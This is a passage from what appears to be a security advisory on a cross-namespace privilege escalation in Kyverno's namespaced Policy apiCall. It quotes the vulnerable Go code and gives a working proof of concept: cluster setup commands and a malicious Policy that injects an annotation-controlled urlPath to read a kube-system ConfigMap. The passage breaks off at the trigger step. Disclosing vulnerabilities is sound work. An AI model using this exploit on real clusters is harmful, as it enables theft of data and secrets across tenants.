Kyverno Cross-Namespace Privilege Escalation via Policy apiCall
Summary
A critical authorization boundary bypass in namespaced Kyverno Policy [apiCall](https://kyverno.io/docs/policy-types/cluster-policy/external-data-sources/#url-paths). The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.
As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.
Details
The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.
1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath.
```go
// pkg/engine/apicall/apiCall.go
func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {
// Variable substitution happens here
call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)
// ...
data, err := a.Execute(ctx, &call.APICall)
```
2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method.
```go
// pkg/engine/apicall/executor.go
func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {
// ...
// Path is used directly in the raw API call
jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)
```
Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.
PoC 001 - Data exfiltration
The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.
0. Setup kind + Kyverno
Tested with Kyverno v1.16.1 on k8s v1.34.0.
```bash
kind create cluster
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
```
1. Setup target and low-privileged user
Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace.
```bash
# Create confidential data in kube-system
kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data
# Create a restricted service account
kubectl create sa policy-admin -n default
# Create a role for managing policies and configmaps in default namespace only
kubectl create role policy-admin-role -n default \
--verb=create,get,list,update,delete \
--resource=policies.kyverno.io,configmaps
# Bind the role to the service account
kubectl create rolebinding policy-admin-binding -n default \
--role=policy-admin-role \
--serviceaccount=default:policy-admin
# Verify the user cannot access kube-system
kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin
# Output: no
```
2. Create malicious policy as the restricted user
Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace.
```yaml
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: cross-ns-leak
namespace: default
spec:
validationFailureAction: Enforce
rules:
match:
resources:
kinds:
context:
apiCall:
# Injection happens here via annotations
urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"
jmesPath: "data.key"
validate:
# The leaked data is returned in the denial message
message: "LEAKED DATA: {{leakedData}}"
deny: {}
EOF
```
3. Trigger the leak
As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system.
```yaml
cat <<EOF | kubectl apply --as=system:servicea
